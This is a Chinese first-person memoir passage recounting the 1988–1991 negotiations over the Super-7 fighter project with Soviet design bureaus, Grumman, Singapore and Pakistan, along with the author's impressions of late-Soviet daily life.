第二天上午到工厂去看发动机和它的飞机附件机匣。"米格"-29是双发,但只有一个飞机附件机匣装在双发上头中间,维护工作都在飞机背部进行,超-7机背不能开大口搞维护,故要用PД33,就非改不可。发动机控制是电子模拟式的,又大又重,要装在飞机上,每个发动机配两个盒子,共重25千克,总体积达36升。而西方发动机的电调盒附在发动机上只一本书大小,两者间的差距可见一斑。我问他们为什么这样大?他们回答说,这是70年代干出来的,一直用到现在,以后也不打算改。当然要改是设计局的事,工厂设计科没有权改。飞机附件机匣的传动轴也是又大又重。还有一个复杂情况,即发动机喷口下向5°,并不是喷口简单下垂5°,而是由发动机进气口头部下垂3°,轴心向下偏达150-200毫米。然后尾喷口下偏2°,两个部分综合而成的。 下午及第三天讨论,集中于附件机匣位置以及超-7用什么飞机附件、发动机安装、空中起动氧气系统、燃油系统及油泵、进气道匹配等技术问题。第四天开始讨论价格及起草纪要。这时,总设计师萨基索夫回来了。他说他才从莫斯科回来,在莫斯科见到航空工业部部长及飞机总设计师别里雅柯夫,他们对我们今后的合作,寄予很大的希望。 23日是星期四,我们在谈飞机附件时,想和成都联系直接对液压泵流量,一打听,在这里发电传要排队到下周才行,长途电话也要排队到25日,真要命,非始料所及,通讯条件这样差,怎么合作呀? 向他们要一点资料,他们说什么也不能给,因没接到政府通知,现在不能给,于是我们只好眼看手记。 在谈价格和改装费用时,他们比较热衷于和我们成立合资公司,但是怎么个合资法,又没有具体设想,这状态和我们才改革时差不多。 在谈到有些技术问题时,如进气道匹配,他们往往说,这要问米高扬设计局,而在座的米局副总设计师,只听,始终一言不发。看样子匹配他们的发动机,米局是非介入不可,不可能像西方发动机那样,仅我们两家直接联系即可。 谈了五天,达成了一个会谈记录,预定苏方7月份派人去中国。给我们留下了最大的问题是苏方坚持附件机匣不愿改到发动机下部。 在谈一些技术数据时,见到克局有一位设计师,当场从口袋里摸出了1支小的计算尺算数据,这在我们国家已十多年不见了。苏联之封闭,着实令我们甚为惊讶。以后在两个设计局专家来成飞访问时,我们都买了较好的计算器送他们作为小礼品,他们都很高兴。 26日晚,我们由列宁格勒坐火车去莫斯科。在列市期间,我们被招待去基洛夫大剧院观看歌剧浮土德;看涅瓦河边的"阿芙乐尔"号巡洋舰;参观冬宫、夏宫、围城纪念馆,以及商店和百货公司。英勇的列宁格勒市在第二次世界大战中,被德军包围900天之久,牺牲了上百万的生命,每人每天只配给125克面包,战事的艰巨可想而知。很别致的展品中,有1942年及1943年的铜制日记,每天换两页,今天是5月26日,我们看到1943年5月26日的日记上记着,从今天起粮食配给改为士兵每天300克,市民250克,小孩100克,增加了。不经过饥饿的人可能很难体会,这是在其他副食十分匮乏情况下的粮食啊。在纪念馆门口有若干长明灯,据说年轻人结婚往往到此接受爱国主义教育。这就使我想起我国为什么没有建一些抗日战争的纪念馆以教育后人呢?甲午战争时日本人攻占旅顺后,把几万人口的旅顺,杀得仅剩几十个人逃命,有多少人记得呀。 与列市整洁的街道、宏伟的大剧院和瑰丽的冬宫极不相称的是,商店里商品几乎空空如也,牛奶店没有牛奶,面包店没有面包,更不要说鱼肉奶油。我们作为外宾来访,在公司食堂招待吃饭,都是特批提供的,有一餐宴请,居然有伏特加和鱼子酱,据长驻苏联的中航技卢贵芝同志说,这极少见了,鱼子酱在黑市要40美元1公斤,即专家们一个多月工资,一般人谁吃得起呀。寻常我们进餐,蔬菜每人每餐有3片黄瓜,半个西红柿,可见其名贵。在列宁格勒到莫斯科的铁路沿线,一路见到林绿草青,极为茂盛,土质显然极好,水也不缺,别墅小屋也不在少数,唯不见耕地栽种,甚为纳闷,苏联人的黄瓜、西红柿都那么缺乏,就没有人种一片发财,或自力更生种一点自己吃? ◆到米高扬设计局 米高扬设计局有着辉煌的历史,其研制的一些机型对中国的军用航空工业的发展起到了相当大的影响,不过这次访问米高扬设计局,中方并不是来从师的,而是来洽谈超-7项目,米高扬设计局会对超-7带来什么样的影响呢? 5月27日晨,我们到达莫斯科,米高扬设计局没像样的招待所,他们安排我们住在城北基米特洛夫大街的青年国际饭店里,这是一座高24层的中档旅游饭店,接待外国游客,楼下小卖部出售用美金标价的进口商店,我们就在它的餐厅吃饭。 当天,我们就去米高扬设计局,它的全称是以米高扬命名的莫斯科机械制造厂,与成飞过去曾叫峨嵋机械厂同一个由来。恰普金等先带我们参观他们陈列各种飞机模型图片的局史陈列室,据说我们是第一批来访的中国人。米局去年庆祝了建立40周年,开始设计时才70多人,至今已设计了150多种飞机。在他们的系列飞机图片里,我荣幸地发现我们研制的歼教5飞机作为米格-17的改型之一展出,照片是一架我们出口巴基斯坦的飞机,苏联自己没有中国出口给巴基斯坦的飞机,自己也没有这种型号,他们收集进去了。还有一个单发常规布局腹部进气的轻型歼击机33M方案,有说明有模型,正常起飞重量9吨,超载起飞13.5吨,有8个外挂,采用PД33改型发动机,与我们的超-7差不多,只是进气道不一样。 别里雅柯夫是米局的第二任总设计师,米高扬在世时是其第一副总设计师,米高扬1971年去世后,即由别里雅柯夫接任,现已72岁了。下午3点半,别里雅柯夫会见我们。孙总首先向他介绍了超-7的背景情况。别里雅柯夫坦率地说,米高扬设计局从1939年至今,一直搞军用飞机,现在军队要节省开支了,因此准备向最高苏维埃打报告向民用飞机方面转。现在中国同志来要求合作,我们是很乐意的。陈金琰打算向他介绍超-7情况,别里雅柯夫说,你先别说了,我提一些问题你来回答吧。接着他前后一共提了19个问题,问一个答一个,答完后他说,你这方案的设计方向是正确的。听了他的提问,就可以看出别里雅柯夫就是一个名符其实富有实践经验的总设计师。此后,别里雅柯夫退出,由其副手,科研生产联合体的副厂长与我们谈合作方式。他提出两种合作形式,一种是对具体技术问题的咨询,一种是事后的评审。在谈到具体技术问题时,恰普金说,上次访问成都回来之后,根据成飞提供的资料,两个月来他们已做了不少工作。上次曾经说过,不应低于F-16,现在看,超-7方案总的是达不到F-16水平的。只是90年代的飞机,还应有隐身特性才好。 第二天我们到他们工厂一莫斯科述缅季耶夫工厂看"米格"-29,总装车间还有5架飞机在总装。飞机的两个发动机分别在左右两个发动机舱里,下部有大舱门,打开后,用简易起重机通过三根钢索把发动机吊入。由于气动布局原因,飞机后部几乎无后机身,而只有两个发动机舱之间的整流部,因此平尾和双垂尾载荷的传递只依靠发动机舱的外部侧壁和垂尾部位的一个悬臂梁组成两个盒形梁。机头雷达罩长约2米,前端固定空速管,在空速管根部有小型涡流发生器。我们重点看了发动机和飞机附件机匣的安装。接待我们的总装车间技术主任是很友好的。 回到设计局继续讨论时,研究了三方如何合作,我们的意见是发动机和米局是一方,我们中国是一方,米局则认为首先他们和中方订合作协议,然后中方和米局作为一方去对待发动机另一方。说穿了,是米局首先向中方要钱,不能从发动机中扣出钱来给他。 技术上,我们又听取了他们在气动性能、航电武器、战斗性能方面的介绍和分析,重点是想把他们33M的方案推荐给我们,双方想法差距很大。我们回饭店后连夜商量,一直讨论到凌晨一点钟。第三天,由孙总出面统一向他们表态,我们超-7的原方案不想大变,主要考虑超-7是一种较便宜的改型飞机,要和"米格"-21有一定的继承性,具体体现在六个方面不要变,不宜改为全新的飞机。希望米局重点在如何把超-7方案在六不变的条件下局部改得更好一些。另外一个重点是帮助我们把PД33发动机用上去。我们穷,费用多了付不起,要使技术和费用平衡起来。苏方听了以后说理解了。为了表示友好,他们应我们要求同意让我们进米局设计大楼看看他们计算机辅助设计。我们也是第一批进入这里的中国客人,大楼下面有专门的守门人和门卡。计算机及绘图软件都是苏联自己的,我们看到了一种有两个进气道或发动机管道的机身正进行计算机绘图。当天下午我们还抽了点时间去大使馆向于洪亮大使和宁文烟武官汇报我们来谈超-7发动机和飞机合作的情况。 30日,中苏双方讨论会谈纪要。一开始米局负责合同的总经济师提出由他们牵头把发动机会谈纪要作为米高扬设计局统管之下的附件与中方签字,发动机由米高扬设计局提供。这当然我们不能同意,双方争执得面红耳赤,我们决定暂不签字。为了缓和气氛,我们建议停止争论,我们要送一些小礼物给他们。送的礼物包括送给别里雅柯夫的,故送礼后别里雅柯夫只好出面再和我们谈。虽然气氛变好,但仍未谈拢,于是决定晚上再谈。晚上7点半,我们再去,终于他们同意在会议纪要中删掉关于克里莫夫设计局的关系。于是孙总和别里雅柯夫代表双方签了字。接着别里雅柯夫在克局和人合营的饭店里设宴请我们吃饭,因为莫斯科其他饭店里没有多少可吃的。席间气氛很好,点了蜡烛,但吃的还不如在列宁格勒,最好的是一盘红烧牛肉,量很多,味道却差得很,中方都吃得不多,苏方陪同的都大量的吃。最后每桌上摆了一大盒巧克力,我们每人尝了一两个,余下的苏联人都放到口袋里带回去了。苏联呀苏联,你革命成功已70多年了,50年代苏联专家来华时,你们工厂科长一级的干部,家里都已有小汽车了,40年后,你生活怎么变得那么惨呢?陪我们出席宴会的,都是米局的头面人物。总体专家恰普金,过去是室主任吧,也得过列宁勋章,更不要说副总设计师了。别里雅柯夫两次获得社会主义劳动英雄称号,六次获得列宁奖金和国家奖金,是苏联科学院院士,院士另有一份工资,生活可能好过些。席间,我问别里雅柯夫,在50年代末派到沈阳去管"米格"-19的副总设计师塞米尔诺夫怎么样了,他说早去世了。是呀,三十多年过去了,1958年那时他已50岁上下了。 在莫斯科的四天时间很紧张,28日晚由米局招待,两个女孩陪同我们去莫斯科大学附近的大马戏团看了一场马戏,节目很精彩,剧场气氛也很好,人们都彬彬有礼,穿着节日盛装。马术、空中飞人、分身术、炮打美人等好像比我国的好,舞台中央的地板整个可以自动更换的。 29日及30日各抽一两个小时匆匆去看了克里姆林宫外的红场和列宁墓,去了一次百货公司。百货公司规模很大,但货少,质量差,牙膏、袜子都排队抢购,一捆捆地卖。顾客们看到一推车鞋盒推去,就不管大小式样,马上赶去排上了长队抢购。我听说苏联电动刮胡刀好,想买一个,也未见到。跟我们三年自然灾害时的情景差不多。当时我没有料到,在我们离开苏联后两个多月,1991年8月,主要由于内部的原因,苏联红旗落地,不打自倒,苏联崩溃了,苏共垮台了,苏联消失了。列宁格勒也恢复旧名,改为圣彼得堡。
-
◆新加坡的插曲 正当中,美,巴合作的"佩刀"Ⅱ项目处于弥留之际的时候,新加坡表露了兴趣,"超-7"这个名称终于浮出水面 88年5月新加坡航空工业公司总裁郭宝发先生给中航技孙总裁直接打了电话,印证前不久格鲁门去新加坡介绍超-7的情况是否属实,并约定二人将在5月19日在深圳会见面谈。 面谈后决定6月1日新航派出总工程师林鲁鹤先生等三人来成飞调查,进一步了解超-7发展的情况。来成飞后,我们感到他们主要关心的除飞机的技术方案外,一是市场前景如何,二是费用问题。他们感到格鲁门提出的预算太高,而且还担心格鲁门将来还要涨价。通过这次来成飞实际接触,新航对成飞进行那么多工作,并有完整的资料,表示惊讶,说出乎他们意料。 6月18日至19日两天,法国斯奈克玛公司3人由法航空总局驻北京力、事处1人陪同,来成都和我们谈M88发动机配歼-7改型飞机。我们听了他们介绍以后,感到M88的确不错,体积小,推重比大,且有发展潜力。M88-2重量比F404轻,推力为7500千克,下一步发展为M88-3,推力可到8700千克,推重比达9.5。只可惜可能很贵。 6月中旬李泽蕃访巴回来,得知巴政府正式决定不要"佩刀"Ⅱ,但不公开发表,以利格鲁门可继续做工作。从格鲁门那里,巴方已经知道中美双方拟继续合作进行超-7项目,巴方虽然决定"佩刀"Ⅱ项目终止了,但仍对中方表示希望继续得到超-7的进展情况。之后,巴国务秘书穆斯塔法将此决定正式函告孙总裁。 不久,巴空参谋长与国防生产国务秘书均换人,哈吉穆尔开空军上将任空军参谋长,陆军中将麦索德任国防生产国务秘书。格鲁门公司董事长7月底也要换,由现公司总裁奥勃让接任董事长,格鲁门公司财政紧张,奥勃让上台,政策会变吗?巴方和格鲁门这些角色的变化,给超-7带来更多的捉摸不定。 7月6日,我与陈金琰、邱普达赴京与格鲁门谈判,格鲁门派奥查特与王承栋来谈。 奥查特向我们首先通报了与新加坡航空工业公司谈判的情况。他说归纳起来,新加坡有8点意见:1.超-7的发展费用太高,希望能控制在1.5亿美金之内;2.希望把格鲁门承担的硬件工作量全转移到新加坡做;3.希望研制飞机的试飞和地面试验全在新加坡做;4.要求9个月的初步设计双方所需费用由1619万降至1000万:5.希望格鲁门公司能保证巴基斯坦、埃及和中国能购买超-7飞机;6.格鲁门保证超-7飞机作为格鲁门公司的飞机去推销,而不是新加坡的飞机;7.美国供应的雷达,其软件也应同时向新加坡提供;8.格鲁门自己应拿出100万现金投入。我们听了以后,第一个感觉是新加坡人太精明了。 对此,格鲁门的回答是,格鲁门公司所需的研制费用降至1.5亿,是可能的,但要重新分工,在批生产时,开始可能需要格鲁门生产5、6个机头,以后可全部由新加坡生产。研制新飞机,如试飞由新加坡负责,则格鲁门无法保证飞机的性能。格鲁门同意拿出100万做初步设计,另外还要拿出100万做推销工作。 有关这些,格鲁门本来打算用正式函件回答新加坡,但突然接到新加坡来函说不准备参加超-7的合资了,格鲁门也不必再去新加坡谈了。 实际上,这个情况,我们心里也有底了。6月中,我们已经得到中航技驻香港代表冯宝恂转到国内的信息:新加坡航空工业公司林总工程师已致函格鲁门,不同意仅靠新加坡投资由格鲁门发展超-7项目,而必须由格鲁门共同投资才行,风险共担。而从中航技驻美办事处传来消息说,新加坡主要是感到这个项目风险太大,因为中国空军不可能采购超-7。 奥查特继续对我们说,他认为巴、埃要超-7是很有希望的,至于中国空军,也很可能要,格鲁门在向政府申请发动机、航电出口时,也包括向中国出口,希望中航技公司能做做空军的工作,问问空军对超-7有什么特别的需要。奥接着说,这次我们双方要讨论的问题是,是否没有新加坡我们双方也可干下去,我们干起来了,新加坡可能主动来参加了,这就比我们去找新加坡好得多。有你没有你,我们两家都要干,不要你一来,就向我们狮子大开口,用你新加坡对待马来西亚的办法来对我们。 王承栋插话说,现在我们要做一个两家合作干下去的方案。 我们说,那就先听听你们的想法。 奥查特胸有成竹地说,我们双方有很多地方是一致的,当然也有不一致的。但对超-7,第1.我们双方都想干下去,看来是一致的;第2.机翼改进由成飞干;第3.整架飞机机体原则上都由成飞干,包括机头,美国政府可能会同意,既然可以让新加坡干,为什么不可以在中国干呢?第4.关于市场,我们分析后提出三类对象,潜在市场可能有1000架,第一类市场是可马上争取到的,有巴基斯坦、埃及、中国,我相信,只要我们干起来,12个月之内,他们可能都会表示要。上个月成飞的侯总裁与成都市委书记吴希海一行去访问格鲁门公司谈到中国空军会不会要超-7时,侯说,中国空军也会感兴趣,如果包括F404发动机可给中国。我插嘴说,超-7飞机当然包括F404发动机在内。奥接着说,第5.我们双方商量一下,超-7的性能、机动性等,可不可能通过改变全新的机翼来达到和F-16一级水平;第6.最关键的是怎么想办法找到超-7的第一用户,投资怎么解决? 牛新棠问,两家干,投资怎么出,是你一半我一半?奥查特说,格鲁门没那么多钱,我们新董事长奥勃让10月要访华,到北京到成都,可能会找高层谈,与中国空军领导当面谈,如果中国空军表示了意愿,奥勃让的决心会更大一些。另一方面,如果巴基斯坦或埃及能表态,出具一个只要超-7能达到要求可购买多少架的意向书,不是订货单,就好了,格鲁门就据此可以去贷款投资。有了卖主,钱,格鲁门可想办法,如无卖主,那就别干了。 我说,最大的风险,是投资风险,有了卖主,投资没风险了,剩下的是技术风险一能不能达到要求,否则即使出了意向书,也有理由不订货。 王承栋补充强调说,格鲁门的态度是,没有买主,就停下来。牛新棠追问,格鲁门的主要态度是这个?奥查特缓和一下说,格鲁门的主要态度是想办法继续干下去,假如没有买主,自己出钱是有限的。9个月初步设计中的我们部分分工,也要1000万,今天来研究,有什么出路。 陈金琰说,原来新加坡参加,就是愿意承担风险,三方都承担风险,没有买主也干,一边干,一边找用户。 奥查特说,格鲁门是私人企业,与中国、新加坡都不一样,中国、新加坡是国营公司、格鲁门不能冒太多风险。我说,对这点,格鲁门过去不这样,原来说,二家合作也好,三家合作也好,都要先做初步设计,同时找买主。现在改变为没有买主就不干了,这是格鲁门最近的变化? 奥查特说,你讲得对,原来并不要先有买主,也说了找到人合作进来,有人分担,也许一下子找不到。现在公司经济上不行,走不通了。 我说,这就走进死胡同了,鸡生蛋,蛋生鸡,你连个初步设计方案都没有,谁来当买主?牛新棠转圈说,要干下去,格鲁门的工作最低限度要多少钱? 奥查特说,我估计一下,最少要830万,加些余量,900万吧。我们设想,为了节省费用,将来初步设计不在佩斯贝齐做,而改在波哈曼的发展中心做,那里的管理费可少一些,也不受政府的限制,属商业部门。 我说,你们在"和平珍珠"项目中赚钱了,可拿出一些来投资。 王承栋笑了笑了,没说下去。 第二天,我们有意绕开用户问题,与格方谈如何分工以降低初步设计阶段费用,降低研制费和飞机单价,并且把注意力集中于如何由中美两家合作各自自费承担先做初步设计,把第一步先走出去,在谈的中间,奥查特反复强调格鲁门财政困难没有钱。没有钱,这不就绝了。谈到7月12日,奥查特抛出一个挪用"和平珍珠"项目对华补偿贸易额度当钱用的方案。 这是怎么一会事呢?原来"和平珍珠"项目中,我国买了美国不少硬件,我国就有30%的补偿贸易权,而要做成这些补偿贸易额度,格鲁门要花费占补偿贸易额度1/15的工作费用。所以中方如果放弃一些补偿贸易权,格鲁门就可节省出这笔工作费用来转入超-7初步设计用。 对中方来说,能做成补偿贸易当然很好,但经验证明要全部完成补偿贸易是很难的,我们放弃一些额度,换成格鲁门内部可用于超-7的现钱,也不失为一个办法。这样,超-7这盘棋,多少有些活了。 再做努力 虽然巴方终止了"佩刀"Ⅱ计划,但中,美双方仍然有将项目继续进行下去的愿望,仍然在力求有新的进展 首批歼-7P向巴空交付的剪彩仪式,88年7月26日上午在成飞试飞站厂房隆重举行。一架全新的喷有巴空军军徽的歼-7P飞机,披着大红花停放在会场前头。巴国防生产国务秘书麦索德中将,巴空作战副参谋长法鲁克少将等十四位巴方客人在姜副部长、孙、刘局长等陪同下于昨天到达成都,今天均出席大会。中巴双方讲话之后,给新飞机剪了彩,观看了飞行表演。下午我陪同客人参观了生产线,为了想推销出口,又特地引法鲁克等观看了歼-7Ⅲ型,可惜事后法鲁克对孙刘局长说,他们对Ⅲ型不感兴趣。 因为晚上省长出面宴请巴方客人,故事先安排午饭之后,用两个小时,我们和孙、刘局长一起和法鲁克、麦索德谈判。我和陈金琰准备了500万美元单价的歼-7CP方案向巴方介绍。介绍之后,法鲁克说,"佩刀"Ⅱ可行性研究之后,因格鲁门索要的研制费太高,所以不想搞下去了。通过可行性研究,我们学了一些知识,看来不一定须要第三方来合作,从我们中巴双方的友好合作关系和过去的商务关系看,我们中巴双方合作,更为有利。 关于歼-7CP这个方案,假如另外有人对它有兴趣而研制,巴方也会有兴趣参加,今天巴空还没有把歼-7CP作为装备的想法,但不排除今后你们歼-7CP搞出来了,巴空在明天或后天要歼-7CP飞机。窗口是开着的,只是没有大开。巴空的原则是最好买现成的飞机,不能要只有我们一个用户的飞机。"佩刀"Ⅱ不能搞,研制费太多了。 法鲁克说,我们要歼-7P,就是因为机体上没怎么变,不花很多的钱,如果歼-7P上的测距雷达能改进一下,就更好了。我们用歼-7P是用于点防空,航程不长不要紧,远程出击由F-16担任。 因为过去历次去巴会谈,都是刘副局长去的,这次孙局长又见到法鲁克了,孙就接过话题,再次建议巴空考虑中巴美三方合作搞超-7。孙局长心中认为500万单价的歼-7CP方案是不易成的,档次低了一些,还是超-7方案合适。孙局长说,"佩刀"Ⅱ的研制费用,格鲁门要2亿多,是太高了,我们已经建议他们重新考虑,我建议降到1.5亿,另外飞机上的航电用"和平珍珠"的,研制费和单价均可降下来,F404是好发动机,巴方是可以拿到的。我认为在费用降下来的基础上,三方可以在超-7上继续合作下去。 法鲁克开玩笑地说,搞出超-7来以后,你们把歼-7P买回来?我们不可能频繁地换机型呀! 孙说,超-7至少是5年以后的事情,与你们买歼-7P不矛盾。 麦索德说,我才接新的工作岗位,在学习中,首先要很好地听。你刚才的意见,我们回 去考虑,回去和穆斯塔法先生商量。 法鲁克点点头,表示同意,不再说话。 总之,巴方这次对歼-7CP和超-7的反应并不积极。好的是,这次巴方表示已原则上决定再续订一批歼-7P及歼教-7。能扩大出口就好。法鲁克回国不久,升任空军中将、巴空第一副参谋长。 根据7月中格鲁门来京谈判的情况,中航技孙肇卿总裁于88年7月23日向格鲁门国际公司总裁拉森发出了一个十分重要的电传,希望拉森转给其新老董事长比尔沃斯和奥勃让。电传认为在新加坡拒绝参加超-7合作之后,只能由中美两方合作超-7的初步设计了,但要由中航技承担格鲁门的工程费用,显然是不可能的,唯一可行的办法是初步设计工作中,格鲁门把尽可能多的工作转给中方做,以减少格鲁门的费用,但双方都不向对方提供费用。中航技同意动用"和平珍珠"补偿贸易工作费用移作超-7用,但补偿额度不应超过1500万美元。孙总裁最后建议,鉴于超-7具有很好的发展前景,值得中航技和格鲁门合作搞下去,如果格鲁门同意,中方将派一个小组赴美,与格鲁门共同讨论超-7第一阶段即初步设计的分工合作事宜。 格鲁门拉森很快来了回电,同意孙总裁的建议,并邀中方尽快派出专家组赴美谈判。我方经过协商,专家组由5人组成,除军机司马承林、中航技牛新棠外,成飞派出我、陈金琰、邱普达三人,翻译1由刘明树担任。 出发前,我们准备了进行9个月初步设计工作的协议草案,对格鲁门SOW初稿的修改意见以及内部人员安排、研制费用估算、研制进度和分工设想等。88年8月23日,我们一行4人飞赴北京。 先到中航技李泽蕃那里谈,我谈了我们的准备情况。李泽蕃说,这次去美谈判总的思路是防止格鲁门想少担风险多赚钱。李总又介绍了一个情况,即新加坡航空工业公司想介入这次中美谈判。最近新航的董事长来京谈合作轻型直升机和运12的事,与孙总裁谈判中临时插入谈了一个多小时的超-7问题,他想派人去纽约,作为观察员了解中美谈判的情况,然后回去决策,再由在英国范堡罗航展期间与孙总裁讨论。新方不想直接与格鲁门打交道,感到格鲁门不好合作,所以新方参加超-7合作,并不打算中美新三足鼎立,而是中新双方搭伙,由中方出面与格鲁门合作。 第二天,我们又到孙总裁办公室汇报。孙说他和李总将去英参加航展,我们去美谈判, 如果到时需要,他可直接由英赴美。 关于新加坡的事,他估计新加坡在超-7初步设计阶段只了解情况,等初步设计完,又有用户要超-7了,他才正式投资参加。这样,格鲁门又可能不会答应,已经有用户了,何必让你来捞现成的,除非你参加初步设计,即了解情况同时,你也出些钱。 孙担心超-7的水平过低,他主张应设计得水平高一些,水平做低了如"佩刀"Ⅱ方案那样,会没有人要。孙说,这次苏联将在英航展上公开展出"米格"-29,这意味着苏联将在国际市场上大力推销"米格"-29,因此超-7要具有对付"米格"-29那样的能力,否则对未来的用户没有吸引力。反正超-7不能凑合着干,初步设计完了之后,仍找不到用户,还不如趁早别干。 关于与格鲁门的合作,孙说先不考虑新加坡可能介入,我们和格鲁门都不要存在新加坡可能投资的幻想,以免耽误事情。 关于商务问题,估计原来答应让出1500万美金"和平珍珠"补偿贸易额度,格鲁门不会满意,孙授权我们可退到2000万或2200万,即可有约150万美金的工作费用可以挪用。 由于签证未及时拿到,原定24日出国未走成。我们又去军机司向朱荣章处长作了汇报。 ◆又渡重洋 从"佩刀"Ⅱ项目开始,中方人员就开始频繁地横渡宽广的太平洋,在大洋已经很容易穿越的时代,超-7项目仍然要面临相当多的阻碍 88年8月30日,我们一行6人坐CA989航班,在首都机场出发赴美。这趟班机是不经停上海而是经停东京的,飞机在成田机场着陆,在候机室休息约一小时,再次起飞。在经过日本附近海面时,可远远看到富士山。飞机上人全坐满了,因此谈不上找后座空位躺下休息。原来正值开学时期,同机出国的大多是去美留学的娃娃,坐在我附近的是两个大学刚毕业去美国直接攻读博士的,还有两个高中才毕业的女孩,是交流出国去念大学的,完全是孩子样子,且不是大城市的学生。她们生平第一次坐飞机即坐了这远涉重洋的波音747,我作为长辈,真为她们学习出色而有此机会而高兴。 在空中飞行16000公里之后,我们到了纽约肯尼迪机场,格鲁门的王承栋和奥查特来接我们,安排在长岛高速公路附近的一个汽车旅馆住下。 第二天31日,我们即去格鲁门公司的一个民品发展中心与卡兰觉拉等谈判。在相互通报情况之后,按技术和商务两个小组进行谈判。中航技驻纽约代表孙德庆同志也来参加。 卡兰觉拉交给我们一份格鲁门公司在今年5月向他们国务院军火控制办公室主任的申请报告,内容是请批格鲁门公司和中航技公司、新加坡航空工业公司间合作研制超-7飞机第一阶段即初步设计的技术援助协议(TAA)。格鲁门在报告中设想超-7的销售对象是埃及、巴基斯坦、新加坡和泰国。TAA后附有超-7第一阶段概念设计的SOW;超-7飞机与歼-7M的对比;超-7第一阶段技术转移的控制等5个附件。报告明确超-7是歼-7M的改型机,没有多少技术秘密。看来格鲁门为了对外合作,做了不少工作,为了准备谈判,事先向政府做正式的请示,他们这套办法是比较严密的。 概括起来,我们的技术谈判是友好和顺利的,商务谈判则是艰难的。 最后修改好的SOW文本,包涵了9个月初步设计工作应达到10个目的: 1.进行足够的风洞试验和气动分析,以决定飞机的预期性能; 2.决定飞机达到3000小时疲劳寿命的改型方案; 3.飞机的重心控制,优化静安定性余量; 4.规定各子系统技术要求; 5.在可接受的重量、疲劳寿命和性能要求之内,进行初步的结构分析,评估结构完整性; 6.制定出第二阶段的费用,飞机的单价以及生产、综合后勤的费用等; 7.完成第二阶段的工作计划表; 8.规定航电系统、武器、外挂等的要求; 9.准备好向潜在用户介绍的简介资料; 10.为了双方继续进行这个项目取得政府必要的批准。 在SOW中,明确了双方的分工,计格鲁门为主的机体工作任务18项,外加2项航电工作,成飞为主的机体工作任务21项。这些,我们和美方都进行逐条逐句的讨论,明确含义和双方如何合作。9个月工作完成后,还达不到冻结技术状态,因为没有进行按比例设计的详细初步设计。 在讨论中,我们完全同意卡兰觉拉关于超-7应多用货架产品的意见,因为这样飞机的价格的研制费用都可以降低,研制时间可以节省,可靠性和维护性大为提高。格鲁门研制成功的X-29试验机,用了大量F-14、F-16的成品,不但又快又省,而且已飞了200多个起落,至今未出现什么故障,效果好极了。 关于发动机,卡兰觉拉说,F404的数据美政府尚未批准向中方发放,所以很多事只能由格鲁门来做。但罗罗公司已把RB-199的数据给中国了,所以中方可以自己做一些配装RB-199的工作,包括性能估算,只是它的价格比F404贵了一些,也有可能将来针对不同用户要求配装不同的发动机。 在讨论SOW时,卡兰觉拉请了他们公司的工程部总裁华生先生及另一位主管文件的工程师来参加。因为9个月初步设计工作涉及格鲁门公司工程部内不少人力安排,虽然对外主要是超-7项目主任卡兰觉拉管,但他内部项目矩阵管理的部门之间协调也比较复杂。这样,中美双方签署SOW文本时,美方由卡兰觉拉和华生两人签的字。讨论中间公司飞机分部副总裁悉密那拉也来参加过。 美国9月的第一个星期一是国家劳动节,相当于我们五一劳动节,放假。这样与周末连在一起共休息三天。今年劳动节是9月5日。3日,卡兰觉拉请我们到长岛的原共和飞机公司的机场饭店去吃饭。共和飞机公司过去生产F-84,F-105,现倒闭了,部分为格鲁门公司所接收。机场上都是私人小飞机还有一些做表演用的后三点小教练机,还停了一架飞艇。饭店附近开辟了旅游区,饭店本身内外都用原木装饰着,带些野味吧。吃完饭,拉我们到附近的高尔夫球场及大西洋边上的沙滩散散步。海滨风景很美,沙白水碧,阳光宜人。 第二天,王承栋又接我们去纽约曼哈顿坐环岛游船,环着曼哈顿岛从东河到哈德逊河转了一圈,整整三个小时,可惜天气与昨天不一样,都在下小雨,闷在舱里,照相都不行。 商务谈判小组的讨论,因钱的问题扯住了。格鲁门公司除奥查特之外,国际部总裁拉森也出面谈了几轮。他们坚持公司自己不可能现金投资,在9个月初步设计工作中,他须花费300万美金,只能从"和平珍珠"补偿贸易工作费用中划出50万,其余250万美金要中方垫支,然后由格鲁门保证在5年中给中航技做成3750万美金的返销出口项目,中航技从中收回10%的管理费补偿250万美金垫支的本利。我方坚持格鲁门自己出100万现金,100万由"和平珍珠"补偿额度出,100万按他们返销方案先由中方垫支。虽然双方对继续项目都表现有兴趣,但钱的问题上一直谈到13日仍未一致。 这中间我们内部有一段插曲,9月7日孙总裁在伦敦听取马、牛二位长途电话汇报后表态说,一定要格鲁门出自己的100万,要硬一点,最多谈不下来回去了。晚上我们内部碰头时,我有点沉不住气了,虽然我不负责商务谈判,但是否能把超-7项目的生命延续下去,可是涉及出口后继有机的问题,我说,我们仍应竭力争取搞成合作或至少使项目延续下去不能断线,如果这次出来,我们搞断了线,我们负有历史责任。我这话一出,会上明显地寂静了一会。我这话当然是得罪人的,但作为成飞派出来的人在紧要关头,态度不鲜明不行。 最后把商务问题的双方意见求同存异的写在会谈备忘录里,留待格鲁门新任董事长奥勃让10月访华时,再与中方高层面谈。在拉森口头说可在中美两种意见中折衷之后,双方签了备忘录。 我们一行14日离纽约回国。卡兰觉拉去肯尼迪机场送我们,与我们道再见时,颇有依依惜别之意,似乎预感到难得再合作了。格鲁门那么大的公司,竟然100万美金也拿不出来,作为一个技术人员心里也不好受。 下决心冒风险 国际军用市场的竞争压力越来越大,没有高水平高质量的产品未来将无立足之地,中方在慎重的研究后,下了冒风险的决心 9月15日回到北京,正好孙肇卿、李泽蕃从英国参加范堡罗国际航展回来。李向我们介绍了苏联人第一次在公众面前展出的"米格"-29,以及它在现场飞行表演中进行"尾冲"飞行的实况。我们听后一个突出的感觉是:国际军用飞机市场的竞争压力越来越大了。 在向孙总裁汇报时,首先讨论了格鲁门要我方250万现金,按格鲁门的说法1比15,就要与他做成350万美元的出口贸易。这么多的出口,仅仅是美方交来的目录中轴套之类的小零件,5年时间是否可以销得出去?这个销售的中间商"中国之家"公司能否保证推销?成飞公司5年内能否保质保量地生产出来?看来疑问也不少。讨论结果,还是先请格鲁门派人来,把成飞公司已压在库里的30万美元轴套先卖出去,把这条路走通后再看。 孙总裁在英国时会见了新加坡航空工业公司的郭宝发总裁和林鲁鹤总工程师。郭先生总的看法是与美国不好合作,受限制太多,政治上风险大,而且价格上没讨论还价余地。不如与英国合作,英国与新加坡的关系好,与中国的关系也不错。所以他建议不如采用英国的发动机和航电设备,后来他看中国人老是讲与美国合作的事,他说,你即使要美国的,也应搞一个配套英国设备的方案作为相抗衡的备份方案。 